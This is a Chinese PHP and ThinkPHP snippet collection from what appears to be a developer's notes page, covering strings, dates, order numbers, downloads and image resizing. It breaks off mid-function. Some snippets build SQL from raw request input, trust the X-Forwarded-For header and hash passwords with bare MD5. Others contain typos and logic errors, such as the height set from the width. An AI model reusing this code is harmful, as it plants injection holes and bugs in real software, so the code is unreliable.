子罕言利与命与仁

PHP 随笔

//输出一段utf-8编码的html
$this->show('<p>欢迎使用 <b>ThinkPHP</b>!</p>','utf-8');
字符串替换$br=str_replace("/>", "/><br />", $con);
php把文本框回车转换成html换行
$aa=@ereg_replace("\r\n"," ",$_POST['words']);//php把文本框回车转换成html换行
$bb=explode(' ',$aa);//字符串转为数组
$words=array_unique($bb);//数组去重复
$words=implode(' ',$words);//数组转为字符串
 $data['dic'] =$words;
//file_put_contents — 将一个字符串写入文件 日志
/* 
$file  文件名 
$person  写入的内容  
FILE_APPEND 如果文件
$file
已经存在,追加数据而不是覆盖。
*/
file_put_contents('log.log', $person, FILE_APPEND );
 
//正则替换中文文字
$string = "中文123高深abc开心。?我们";
echo preg_replace('#(?:(?![,。?])[\xC0-\xFF][\x80-\xBF]+)+#','<b>$0</b>',$string);
//<b>中文</b>123<b>高深</b>abc<b>开心</b>。?<b>我们</b>
//正则替换数字
echo preg_replace('#(\d)+#','<b>$0</b>',$string);
//中文<b>123</b>高深abc开心。?我们
//(?:[\xC0-\xFF][\x80-\xBF]+) 单个中文字符,不需要引用,因此使用?:
//(?![,。?]) 排除中文标点符号,这里要写入中文标点
//(?:(?![,。?])[\xC0-\xFF][\x80-\xBF]+) 排除中文标点符号后的中文字符
//(?:[\xC0-\xFF][\x80-\xBF]+)+ 1个以上的中文字符
//去掉style行内样式
$str='<img src="images/logo.png" style="width:100px;height:10px" alt="">';
echo preg_replace('/style=\".*?\"/',' ',$str);
 
html代码过滤并截取:$ser[$i]['description']= $this->CHsubstr(strip_tags($ser[$i]['description']),0,200);
字符串长度:strlen($string);
数字满三位添加一逗号:$proe[$i]['s_money']= number_format($proe[$i]['s_money']);
去掉重复(不统计):
$shopquan=M("quan")->group("s_id")->limit(0,6)->order("x_date desc")->select();
去掉重复(统计):
$count=M("Record")->where("uid=".$_SESSION['uid'])->count('distinct pid');
去掉重复
M("Article")->where("catid=12 and quyu !='".NULL."' and quyu!=''")->field("quyu")->distinct(true)->select();
 
截取字符串:mb_substr(字符串,开始,长度,utf8/gb2312);
查找单词初始位置:
strstr//搜索字符串在另一字符串中的首次出现从匹配点返回字符串的其余部分(对大小写敏感)未找到则返回 false
stristr("Hello world!","world");//查找字符串在另一字符串中第一次出现的位置(大小写不敏感)
//返回字符串在另一字符串中首次出现的位置(对大小写敏感)//如未找到则返回 false
strpos //返回字符串在另一字符串中第一次出现的位置(大小写不敏感)
stripos //返回字符串在另一字符串中第一次出现的位置(大小写不敏感)
获取文件后缀名:pathinfo($picurl, PATHINFO_EXTENSION)
error_reporting(0);//禁止显示PHP警告提示
define("PI",3.14);//定义常量
defined($string)//函数可以帮助我们判断一个常量是否已经定义
constant()//动态的输出不同的常量
//PHP自定函数截取字符串
$waihui_val = M("article")->where("catid=3")->order("inputtime desc")->limit("0,10")->select();
  for($i=0;$i<count($waihui_val);$i++){
   $waihui_val[$i]['title']= $this->CHsubstr($waihui_val[$i]['title'],0,44);
  }
  $this->assign("waihui_val",$waihui_val);//dump($waihui_val);
//截取中文字符无乱码函数 
    function CHsubstr($string, $start, $length){
        if(strlen($string)>$length){
            $str='';
            $len=$start+$length;
            $i = $start;
            while($i<$len){
                if(ord(substr($string, $i, 1))>=128){
                    $str.=substr($string, $i, 3);
                    $i = $i+ 3;
                }else{
                    $str.=substr($string, $i, 1);
                    $i ++;
                }
            }
            $string=$str."...";
            return $string;
        }else{
            return $string;
        }
    }
//加密会员登录的密码:
/**
 * 加密会员登录的密码。
 * @param int $username 账号
 * @param string $password 登陆密码
 * @return string 加密后的密码
 * @see login, password
 */
function crypt($username, $password) {
    $md5 = pack('H*', md5($username . '@' . $password . '.Z'));
    return preg_replace('/=+$/', '', base64_encode($md5));
}
//处理传值为空
$id=!empty($_GET['id'])?$_GET['id']:147;
//传id,参数
{:U('Home/Decoration/info',array('id'=>$val['id']))}
//匹配关键字
html:
<input type="text" name="keyword" id="keyword"  value="{$keyword}" placeholder="请输入关键字..."> 
<button id="sub_mit">搜索</button>
js:
 <script>
    $(document).ready(function (){
     $("#sub_mit").click(function (){
     
      var keyword    = $("#keyword").val();
      window.location.href="__APP__/Admin/Article/index?keyword="+keyword;
     });
    });
   </script>
php:
$keyword = trim($_GET['keyword']);//I('post.keyword');
 if (!empty($keyword)) {
   $sql_sql="select * from `news` where `keywords` like '%{$keyword}%' order by date desc";
    $this->assign("keyword",$keyword);
  }
$where ['is_open|is_hot'] =1;
$where ['title'] = array('like','%{$keys}%');
$where ['status'] = array(array('gt',1),array('lt',9));
$where ['id'] = array(array('gt',3),array('lt',10), 'or') ;
$where['title|desc'] =array('like',array('%'.$key.'%'),'or');
//'_multi'=>true数组的最后,多条件匹配
$where['status&title'] =array('1','thinkphp','_multi'=>true);
$aa=explode(',',$list[$i]['ids']);
$bb['id']=array('in',$aa);
$orderinfo=M("Car")->where($bb)->select();
$cateop=M('Category')->where(array('parentid'=>array('in',$catelist)))->getField('catid,catname',true);
//一、查询多条
$psid=M("Category")->where("parentid=28")->field("id")->select();
if(!empty($psid)){
       for($i=0;$i<count($psid);$i++){
           $aa.=$psid[$i]['id'].",";
       }
     $aa=mb_substr($aa,0,strlen($aa)-1,'utf-8');
     $where['catid']=array('in',$aa);
 }
//二、查询多条
$orderno=M("Order")->where("status=4 or status=5")->field("ono")->select();
        for($i=0;$i<count($orderno);$i++){
            $bb.=$orderno[$i]['ono'].",";
        }
        $bb=substr($bb,0,strlen($bb)-1);
        $cc=explode(',',$bb);
        $where['ono']=array('in',$cc);
 
 
 
//获取字段第一个字首字母
$val['letter']= $this->getfirstchar($_POST['user']);//使用(获取传过来姓名的首字母大写)
 function getfirstchar($s0){   
    $fchar = ord($s0{0});
    if($fchar >= ord("A") and $fchar <= ord("z") )return strtoupper($s0{0});
    $s1 = iconv("UTF-8","gb2312", $s0);
    $s2 = iconv("gb2312","UTF-8", $s1);
    if($s2 == $s0){$s = $s1;}else{$s = $s0;}
    $asc = ord($s{0}) * 256 + ord($s{1}) - 65536;
    if($asc >= -20319 and $asc <= -20284) return "A";
    if($asc >= -20283 and $asc <= -19776) return "B";
    if($asc >= -19775 and $asc <= -19219) return "C";
    if($asc >= -19218 and $asc <= -18711) return "D";
    if($asc >= -18710 and $asc <= -18527) return "E";
    if($asc >= -18526 and $asc <= -18240) return "F";
    if($asc >= -18239 and $asc <= -17923) return "G";
    if($asc >= -17922 and $asc <= -17418) return "H";
    if($asc >= -17417 and $asc <= -16475) return "J";
    if($asc >= -16474 and $asc <= -16213) return "K";
    if($asc >= -16212 and $asc <= -15641) return "L";
    if($asc >= -15640 and $asc <= -15166) return "M";
    if($asc >= -15165 and $asc <= -14923) return "N";
    if($asc >= -14922 and $asc <= -14915) return "O";
    if($asc >= -14914 and $asc <= -14631) return "P";
    if($asc >= -14630 and $asc <= -14150) return "Q";
    if($asc >= -14149 and $asc <= -14091) return "R";
    if($asc >= -14090 and $asc <= -13319) return "S";
    if($asc >= -13318 and $asc <= -12839) return "T";
    if($asc >= -12838 and $asc <= -12557) return "W";
    if($asc >= -12556 and $asc <= -11848) return "X";
    if($asc >= -11847 and $asc <= -11056) return "Y";
    if($asc >= -11055 and $asc <= -10247) return "Z";
    return null;
 } 
//php 循环
<?php
  $querya=$sql->query("select * from `advertising` where `acid`=1 order by `date` desc,id desc ");
  $num=$sql->num_rows($querya);
  while($pro=$sql->fetch_array($querya)){
 ?>
 <li style="background:url(<?php echo $pro['images']?>) no-repeat center top"><a href="javascript:"></a></li>
 <?php }?>
//PHP分页
<?php
$query_query = $sql->query( $sql_sql)or die(mysql_error());
   $total = $sql->num_rows($query_query);
   pageft($total,16,1,1,1,5);
   if($firstcount>=0)
   $sql_sql.=" order by sorts desc,id desc limit ".$firstcount.",16";
            $query_l = $sql->query($sql_sql);
    $i=1;
      while($con = $sql->assoc($query_l)){
  ?>
<?php }>
//分割字符串
字符串转为数组:$array=explode(separator,$string); 
数组转为字符串:$string=implode(glue,$array);
分隔符(separator)和胶合符(glue)
//去掉最后一位
$tag=mb_substr($tag, 0, strlen($tag)-1, 'utf-8');
//将字符串转为数组,并去掉重复
$tag=array_unique(explode(',',$tag));
//将字符串转换成小写
strtolower();
//将字符串转换成大写
strtoupper();
//将字符串首字符转换成大写
usfilst();
//将字符串每个单词的首字符转换成大写
 ucwords();
html_entity_decode() 函数把 HTML 实体转换为字符。
htmlentities() 函数把字符转换为 HTML 实体。
//thinkphp 获得ip方法
get_client_ip();
//tpshop后台权限的坑问题
根目录的index.php 
define('APP_DEBUG',false);
/ThinkPHP/Conf/convention.php
'URL_CASE_INSENSITIVE'  =>  false
/ThinkPHP/Conf/debug.php
'URL_CASE_INSENSITIVE'  =>  false

 后台权限匹配,否则ACTION_NAME全部为小写,找不到权限分配

 
//php获取ip地址
1、
function getip() {
$unknown = 'unknown';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])&&$_SERVER['HTTP_X_FORWARDED_FOR']&&strcasecmp($_SERVER['HTTP_X_FORWARDED_FOR'],$unknown)){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif ( isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], $unknown) ) {
$ip = $_SERVER['REMOTE_ADDR'];
}
/*
处理多层代理的情况
或者使用正则方式:$ip = preg_match("/[\d\.]{7,15}/", $ip, $matches) ? $matches[0] : $unknown;
*/
if (false !== strpos($ip, ',')){
$ip = reset(explode(',', $ip));
}
return $ip;
}
2、
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")){
$ip = getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")){
$ip = getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = "unknown";
}
return($ip);
}
//时间转换
strtotime("2017-10-29") //将时间格式转化为时间戳
date("Y-m-d H:i:s",strtotime('2017-10-29'))//将特定时间戳转化为格式时间
date("Y-m-d H:i:s",time())//当前时间
 
mktime() 函数用于返回一个日期的 Unix 时间戳。
mktime(hour,minute,second,month,day,year,is_dst)
参数 描述
hour 可选。规定小时。
minute 可选。规定分钟。
second 可选。规定秒。
month 可选。规定用数字表示的月。
day 可选。规定天。
year 可选。规定年。在某些系统上,合法值介于 1901 - 2038 之间。不过在 PHP 5 中已经不存在这个限制了。
is_dst
可选。如果时间在日光节约时间(DST)期间,则设置为1,否则设置为0,若未知,则设置为-1。
 
//php获取今日开始时间戳和结束时间戳
$beginToday=mktime(0,0,0,date('m'),date('d'),date('Y'));
$endToday=mktime(0,0,0,date('m'),date('d')+1,date('Y'))-1;
 
//php获取昨日起始时间戳和结束时间戳
$beginYesterday=mktime(0,0,0,date('m'),date('d')-1,date('Y'));
$endYesterday=mktime(0,0,0,date('m'),date('d'),date('Y'))-1;
 
//php获取上周起始时间戳和结束时间戳
$beginLastweek=mktime(0,0,0,date('m'),date('d')-date('w')+1-7,date('Y'));
$endLastweek=mktime(23,59,59,date('m'),date('d')-date('w')+7-7,date('Y'));
 
//php获取本月起始时间戳和结束时间戳
$beginThismonth=mktime(0,0,0,date('m'),1,date('Y'));
$endThismonth=mktime(23,59,59,date('m'),date('t'),date('Y'));
 
1.获取上个月第一天及最后一天.
echo date('Y-m-d', strtotime(date('Y-m-01') . ' -1 month')); // 计算出本月第一天再减一个月
echo date('Y-m-d', strtotime(date('Y-m-01') . ' -1 day')); // 计算出本月第一天再减一天
 
2.获取当月第一天及最后一天.
$BeginDate=date('Y-m-01', strtotime(date("Y-m-d")));
echo $BeginDate;
echo "<br/>";
echo date('Y-m-d', strtotime("$BeginDate +1 month -1 day"));
echo "<br/>";
3.获取当天年份、月份、日及天数.
echo " 本月共有:".date("t")."天";
echo " 当前年份".date('Y');
echo " 当前月份".date('m');
echo " 当前几号".date('d');
echo "<br/>";
4.使用函数及数组来获取当月第一天及最后一天,比较实用
function getthemonth($date){
$firstday = date('Y-m-01', strtotime($date));
$lastday = date('Y-m-d', strtotime("$firstday +1 month -1 day"));
return array($firstday,$lastday);
}
$today = date("Y-m-d");
$day=getthemonth($today);
echo "当月的第一天: ".$day[0]." 当月的最后一天: ".$day[1];
echo "<br/>";
//-----最热图标(一周)
<?php if(time()-strtotime($val['inputtime'])<=172800){echo "<img src='__PUBLIC__/Home/images/hot.jpg' />";}?>
//PHP小数
$num=sprintf("%1\$.2f",$num);//保留小数点后两位
$num=sprintf("%0.2f",$num);//保留小数点后两位
floor (舍去)echo floor(4.8); // 4
ceil ( 进一法)echo ceil (4.3); // 5
round (四舍五入)echo round (4.3); // 4
//点击数或浏览量
M('Article')->where(array('id'=>$id))->setInc('click',1);
$(document).ready(function (){
        $(".click").click(function (){
            var id = $(this).parent().children().val();//获取该属性父级的子类中第一个input的值
            //alert(id);return false;
            $.post("__APP__/Home/Index/ajax_click",{'id':id});
        })
    });
//子查询
$catid=M("Category")->where("parentid=".$fid)->field('id')->buildSql();
$count=M("Article")->where("catid in $catid")->count();
$pid=M("Record")->where("uid=".$_SESSION['uid'])->field(' distinct pid')->buildSql();
$list=M("Product")->where("uid='".$_SESSION['uid']."' and p_id in $pid")->order('p_date desc')->limit($Page->firstRow.','.$Page->listRows)->select();
//当天的显示时间非当天的显示日期
if(time()-strtotime($zpxinxi[$i]['inputtime'])<=86400){
    $zpxinxi[$i]['inputtime']= $this->CHsubstr($zpxinxi[$i]['inputtime'],11,5);
   }else{
    $zpxinxi[$i]['inputtime']= $this->CHsubstr($zpxinxi[$i]['inputtime'],5,5);
   }
//订单编号
1、$orderno=date('ymd').mb_substr(time(),7,3).rand();
2、$orderno=date('Ymd').str_pad(mt_rand(1,99999),5,'0',STR_PAD_LEFT);
3、$orderno=date('Ymd').substr(implode(NULL,array_map('ord',str_split(substr(uniqid(),7,13),1))),0,8);
4、
//生成24位唯一订单号码,格式:YYYY-MMDD-HHII-SS-NNNN,NNNN-CC,其中:YYYY=年份,MM=月份,DD=日期,HH=24格式小时,II=分,SS=秒,NNNNNNNN=随机数,CC=检查码
 @date_default_timezone_set("PRC");
 while(true){
  //订购日期
  $order_date= date('Y-m-d');
  //订单号码主体(YYYYMMDDHHIISSNNNNNNNN)
  $order_id_main= date('YmdHis') . rand(10000000,99999999);
  //订单号码主体长度
  $order_id_len= strlen($order_id_main);
  $order_id_sum= 0;
  for($i=0; $i<$order_id_len; $i++){
  $order_id_sum+= (int)(substr($order_id_main,$i,1));
  }
  //唯一订单号码(YYYYMMDDHHIISSNNNNNNNNCC)
  $order_id= $order_id_main. str_pad((100 - $order_id_sum% 100) % 100,2,'0',STR_PAD_LEFT);
5、
$yCode= array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J');
$orderSn= $yCode[intval(date('Y')) - 2011] . strtoupper(dechex(date('m'))) . date('d') . substr(time(), -5) . substr(microtime(), 2, 5) . sprintf('%02d', rand(0, 99));
6、
function create_guid($namespace = null) {
        static $guid = '';
        $uid=uniqid ( "", true );
        $data=$namespace;
        $data.=$_SERVER['REQUEST_TIME'];     // 请求那一刻的时间戳
        $data.=$_SERVER['HTTP_USER_AGENT'];     // 获取访问者在用什么操作系统
        $data.=$_SERVER['SERVER_ADDR'];         // 服务器IP
        $data.=$_SERVER['SERVER_PORT'];         // 端口号
        $data.=$_SERVER['REMOTE_ADDR'];         // 远程IP
        $data.=$_SERVER['REMOTE_PORT'];         // 端口信息
        $hash=strtoupper(hash( 'ripemd128',$uid .$guid.md5($data)));
        $guid=substr($hash,0,4).'-'.substr($hash,8,4).'-'.substr($hash,12,4).'-'.substr($hash,16,4).'-'.substr($hash,20,3);
        return $guid;
    }
//随机字符串
echo getRandChar(6);
function getRandChar($length){
    $str = null;
    $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
    $max = strlen($strPol)-1;
    for($i=0;$i<$length;$i++){
        $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
    }
    return $str;
}
//地址
完整地址:$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
地址头部:$_SERVER['HTTP_HOST']
地址传值:$_SERVER['REQUEST_URI']
//php随机一个六位数
public function getordcode(){
        $nums = range (100000,999999);
        $abs = range (A,Z);
        shuffle ($nums); 
        shuffle ($abs); 
        $num=array_slice($nums,0,1);
        $ab=array_slice($abs,0,4);
        $ordcode=$ab[0].$ab[1]."-".$ab[2].$ab[3]."-".$nums[0];
    }
//生成指定位数验证码
function generate_code($length = 6) {
return rand(pow(10,($length-1)), pow(10,$length)-1);
}
function generate_code($length = 6) {
return str_pad(mt_rand(0, pow(10, $length) - 1), $length, '0', STR_PAD_LEFT);
}
//生成二维码
public function ajax_xiang(){
        //接收会员名称
        $pid = $_POST['pid'];
        //图片分配到模板
        vendor("phpqrcode.phpqrcode");
        $data = "http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."/Index/details/openid/".$_SESSION['openid']."/pid/".$pid."";
        $level = 'L';// 纠错级别:L、M、Q、H
        $size = 8;// 点的大小:1到10,用于手机端4就可以了
        $path ="Uploads/ewmpng/";// 下面注释了把二维码图片保存到本地的代码,如果要保存图片,用$fileName替换第二个参数false
        $fileName = $path.time().'.png';// 生成的文件名
        \QRcode::png($data,$fileName, $level, $size);
        $pinfo=M("Product")->where("p_id='".$pid."'")->find();
        $pinfo['ewm']=__ROOT__."/".$path.basename($fileName);
        if(!empty($pinfo)){
            $this->ajaxReturn($pinfo);
        }else{
            echo "2";
        }
    }
//强制下载
$filename="../ECShop_V3.0.0_UTF8.zip";
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".$filename);
readfile($filename);
 
//文件下载
//$file 被下载文件的地址
$file='./git.log';
echo download($file);
function download($file){
    if(empty($file)||!is_file($file)||!file_exists($file)){
        echo '404';
        exit;
    }
    header('Content-Type:application/octet-stream');
    $fileName=basename($file);
    header('Content-Disposition:attachment;filename="'.$fileName.'"');
    $buffer='';
    $cnt=0;
    $handle=fopen($file,'rb');
    if($handle===false){
        return false;
    }
    while(!feof($handle)){
        $buffer=fread($handle,1024*1024);
        echo $buffer;
        ob_flush();
        flush();
        $cnt+=strlen($buffer);
    }
    $status=fclose($handle);
    if($status){
        //return $cnt;
    }
    //return $status;
}
//下载文件
function download_file($file){
if(is_file($file)){
$length = filesize($file);
$type = mime_content_type($file);
$showname = ltrim(strrchr($file,'/'),'/');
header("Content-Description: File Transfer");
header('Content-type: '.$type);
header('Content-Length:'.$length);
if (preg_match('/MSIE/', $_SERVER['HTTP_USER_AGENT'])) { //for IE
header('Content-Disposition: attachment; filename="'.rawurlencode($showname).'"');
} else {
header('Content-Disposition: attachment; filename="'.$showname.'"');
}
readfile($file);exit;
} else {
exit('文件已被删除!');
}
}
//保存远程图片到指定文件夹
function downloadImage($url, $path='/'){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$file = curl_exec($ch);
curl_close($ch);
$filename = pathinfo($url, PATHINFO_BASENAME);
$resource = fopen($path . $filename, 'a');
fwrite($resource, $file);
fclose($resource);
}
//php判断远程文件是否存在
function url_exists($url){
    $handle=curl_init($url);
    if(false===$handle){
        return false;
    }
    curl_setopt($handle,CURLOPT_HEADER,false);
    curl_setopt($handle,CURLOPT_FAILONERROR,true);
    curl_setopt($handle,CURLOPT_NOBODY,true);
    curl_setopt($handle,CURLOPT_RETURNTRANSFER,false);
    $connectable=curl_exec($handle);
    curl_close($handle);    
    return $connectable;
}
//php获取远程图片
//取得指定位址的內容,并储存至 $text  
$text=file_get_contents('http://qgd.alonesky.com/');    
//取得所有img标签,并储存至二维数组 $match 中   
preg_match_all('/<img[^>]*>/i', $text, $match);   
//打印出match   
print_r($match);
 
//php获取图片路径
$str='<p><img border="0" src="upfiles/2009/07/1246430143_1.jpg" alt=""/></p><p><img border="0" src="upfiles/2009/07/1246430143_1.jpg" alt=""/></p><p><br/></p>'; 
$pattern="/<[img|IMG].*?src=[\'|\"](.*?(?:[\.gif|\.jpg]))[\'|\"].*?[\/]?>/";//正则
preg_match_all($pattern,$str,$match);//匹配图片
print_r( $match[1]);//返回所有图片的路径
/**
     * 产生随机字符串 
     * 产生一个指定长度的随机字符串,并返回给用户 
     * @access public 
     * @param int $len 产生字符串的位数 
     * @return string 
     */
    public function genRandomString($len = 6) {
        // $chars = array(
        //     "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",
        //     "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
        //     "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G",
        //     "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R",
        //     "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2",
        //     "3", "4", "5", "6", "7", "8", "9"
        // );
        $chars = array(
            "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k",
            "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v",
            "w", "x", "y", "z", "0", "1", "2","3", "4", "5", "6",
            "7", "8", "9"
        );
        $charsLen = count($chars) - 1;
        shuffle($chars);    // 将数组打乱 
        $output = "";
        for ($i = 0; $i < $len; $i++) {
            $output .= $chars[mt_rand(0, $charsLen)];
        }
        return $output;
    }
 
/**
     * 根据用户输入的Email跳转到相应的电子邮箱首页 
     * @param String $mail  邮箱地址
     * @return String
     */
    public function gotomail($mail) {
        $t = explode('@', $mail);
        $t = strtolower($t[1]);
        if ($t == '163.com') {
            return 'http://mail.163.com';
        } else if ($t == 'vip.163.com') {
            return 'http://vip.163.com';
        } else if ($t == '126.com') {
            return 'http://mail.126.com';
        } else if ($t == 'qq.com' || $t == 'vip.qq.com' || $t == 'foxmail.com') {
            return 'http://mail.qq.com';
        } else if ($t == 'gmail.com') {
            return 'http://mail.google.com';
        } else if ($t == 'sohu.com') {
            return 'http://mail.sohu.com';
        } else if ($t == 'tom.com') {
            return 'http://mail.tom.com';
        } else if ($t == 'vip.sina.com') {
            return 'http://vip.sina.com';
        } else if ($t == 'sina.com.cn' || $t == 'sina.com') {
            return 'http://mail.sina.com.cn';
        } else if ($t == 'tom.com') {
            return 'http://mail.tom.com';
        } else if ($t == 'yahoo.com.cn' || $t == 'yahoo.cn') {
            return 'http://mail.cn.yahoo.com';
        } else if ($t == 'tom.com') {
            return 'http://mail.tom.com';
        } else if ($t == 'yeah.net') {
            return 'http://www.yeah.net';
        } else if ($t == '21cn.com') {
            return 'http://mail.21cn.com';
        } else if ($t == 'hotmail.com') {
            return 'http://www.hotmail.com';
        } else if ($t == 'sogou.com') {
            return 'http://mail.sogou.com';
        } else if ($t == '188.com') {
            return 'http://www.188.com';
        } else if ($t == '139.com') {
            return 'http://mail.10086.cn';
        } else if ($t == '189.cn') {
            return 'http://webmail15.189.cn/webmail';
        } else if ($t == 'wo.com.cn') {
            return 'http://mail.wo.com.cn/smsmail';
        } else {
            return "http://mail." . $t;
        }
    }
//curl示例
$ch = curl_init(); 
$data = "hphm=京A12345&classno=1234567890&engineno=1234567890&phone=13812345678"; 
// 添加参数 
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
// 执行HTTP请求 
curl_setopt($ch,CURLOPT_URL,$url); 
$res = curl_exec($ch); 
$bbb=(array)json_decode($res);
dump($bbb);
 
// HTTP协议状态码
<?php
header('HTTP/1.1 404 Not Found'); 
header("status: 404 Not Found"); 
include('404.php'); //404提示页
exit();
?>
<?php
一,直接使用内置函数header
header( "Location: http://tqybw.NET", true, 301 );
二,使用HTTP/1.x声明301重定向
header( "HTTP/1.1 301 Moved Permanently" );
header( "Location: http://tqybw.net" );
?>
<?php
    /** 
    * HTTP Protocol defined status codes
    * HTTP协议状态码,调用函数时候只需要将$num赋予一个下表中的已知值就直接会返回状态了。
    * @param int $num
    */ 
    function https($num) { 
        $http = array ( 
            100 => "HTTP/1.1 100 Continue", 
            101 => "HTTP/1.1 101 Switching Protocols", 
            200 => "HTTP/1.1 200 OK", 
            201 => "HTTP/1.1 201 Created", 
            202 => "HTTP/1.1 202 Accepted", 
            203 => "HTTP/1.1 203 Non-Authoritative Information", 
            204 => "HTTP/1.1 204 No Content", 
            205 => "HTTP/1.1 205 Reset Content", 
            206 => "HTTP/1.1 206 Partial Content", 
            300 => "HTTP/1.1 300 Multiple Choices", 
            301 => "HTTP/1.1 301 Moved Permanently", 
            302 => "HTTP/1.1 302 Found", 
            303 => "HTTP/1.1 303 See Other", 
            304 => "HTTP/1.1 304 Not Modified", 
            305 => "HTTP/1.1 305 Use Proxy", 
            307 => "HTTP/1.1 307 Temporary Redirect", 
            400 => "HTTP/1.1 400 Bad Request", 
            401 => "HTTP/1.1 401 Unauthorized", 
            402 => "HTTP/1.1 402 Payment Required", 
            403 => "HTTP/1.1 403 Forbidden", 
            404 => "HTTP/1.1 404 Not Found", 
            405 => "HTTP/1.1 405 Method Not Allowed", 
            406 => "HTTP/1.1 406 Not Acceptable", 
            407 => "HTTP/1.1 407 Proxy Authentication Required", 
            408 => "HTTP/1.1 408 Request Time-out", 
            409 => "HTTP/1.1 409 Conflict", 
            410 => "HTTP/1.1 410 Gone", 
            411 => "HTTP/1.1 411 Length Required", 
            412 => "HTTP/1.1 412 Precondition Failed", 
            413 => "HTTP/1.1 413 Request Entity Too Large", 
            414 => "HTTP/1.1 414 Request-URI Too Large", 
            415 => "HTTP/1.1 415 Unsupported Media Type", 
            416 => "HTTP/1.1 416 Requested range not satisfiable", 
            417 => "HTTP/1.1 417 Expectation Failed", 
            500 => "HTTP/1.1 500 Internal Server Error", 
            501 => "HTTP/1.1 501 Not Implemented", 
            502 => "HTTP/1.1 502 Bad Gateway", 
            503 => "HTTP/1.1 503 Service Unavailable", 
            504 => "HTTP/1.1 504 Gateway Time-out"  
        ); 
        header($http[$num]); 
    } 
?>
 
 
//头像裁剪 $aa=$this->my_image_resize($path.$newname,$path.$newname,'140px','140px');
/*exif_imagetype -- 判断一个图像的类型
    *说明:函数功能是把一个图像裁剪为任意大小的图像,图像不变形
    * 参数说明:输入 需要处理图片的 文件名,生成新图片的保存文件名,生成新图片的宽,生成新图片的高
    */
    // 获得任意大小图像,不足地方拉伸,不产生变形,不留下空白
         function my_image_resize($src_file, $dst_file, $new_width, $new_height) {
            $new_width = intval($new_width);
            $new_height = intval($new_width);
            if ($new_width < 1 || $new_height < 1) {
                echo "params width or height error !";
                exit();
            }
            if (!file_exists($src_file)) {
                echo $src_file." is not exists !";
                exit();
            } // 图像类型
            $type = exif_imagetype($src_file);
            $support_type = array(IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF);
            if (!in_array($type, $support_type, true)) {
                echo "this type of image does not support! only support jpg , gif or png";
                exit();
            } //Load image
            switch ($type) {
            case IMAGETYPE_JPEG:
                $src_img = imagecreatefromjpeg($src_file);
                break;
            case IMAGETYPE_PNG:
                $src_img = imagecreatefrompng($src_file);
                break;
            case IMAGETYPE_GIF:
                $src_img = imagecreatefromgif($src_file);
                break;
            default:
                echo "Load image error!";
                exit();
            }
            $w = imagesx($src_img);
            $h = imagesy($src_img);
            $ratio_w = 1.0 * $new_width / $w;
            $ratio_h = 1.0 * $new_height / $h;
            $ratio = 1.0; // 生成的图像的高宽比原来的都小,或都大 ,原则是 取大比例放大,取大比例缩小(缩小的比例就比较小了)
            if (($ratio_w < 1 && $ratio_h < 1) || ($ratio_w > 1 && $ratio_h > 1)) {
                if ($ratio_w < $ratio_h) {
                    $ratio = $ratio_h; // 情况一,宽度的比例比高度方向的小,按照高度的比例标准来裁剪或放大
                } else {
                    $ratio = $ratio_w;
                } // 定义一个中间的临时图像,该图像的宽高比 正好满足目标要求
                $inter_w = (int)($new_width / $ratio);
                $inter_h = (int)($new_height / $ratio);
                $inter_img = imagecreatetruecolor($inter_w, $inter_h); //var_dump($inter_img);
                imagecopy($inter_img, $src_img, 0, 0, 0, 0, $inter_w, $inter_h); // 生成一个以最大边长度为大小的是目标图像$ratio比例的临时图像
                // 定义一个新的图像
                $new_img = imagecreatetruecolor($new_width, $new_height); //var_dump($new_img);exit();
                imagecopyresampled($new_img, $inter_img, 0, 0, 0, 0, $new_width, $new_height, $inter_w, $inter_h);
                switch ($type) {
                case IMAGETYPE_JPEG:
                    imagejpeg($new_img, $dst_file, 100); // 存储图像
                    break;
                case IMAGETYPE_PNG:
                    imagepng($new_img, $dst_file, 100);
                    break;
                case IMAGETYPE_GIF:
                    imagegif($new_img, $dst_file, 100);
                    break;
                default:
                    break;
                }
            } // end if 1
            // 2 目标图像 的一个边大于原图,一个边小于原图 ,先放大平普图像,然后裁剪
            // =if( ($ratio_w < 1 && $ratio_h > 1) || ($ratio_w >1 && $ratio_h <1) )
            else {
                $ratio = $ratio_h > $ratio_w ? $ratio_h: $ratio_w; //取比例大的那个值
                // 定义一个中间的大图像,该图像的高或宽和目标图像相等,然后对原图放大
                $inter_w = (int)($w * $ratio);
                $inter_h = (int)($h * $ratio);
                $inter_img = imagecreatetruecolor($inter_w, $inter_h); //将原图缩放比例后裁剪
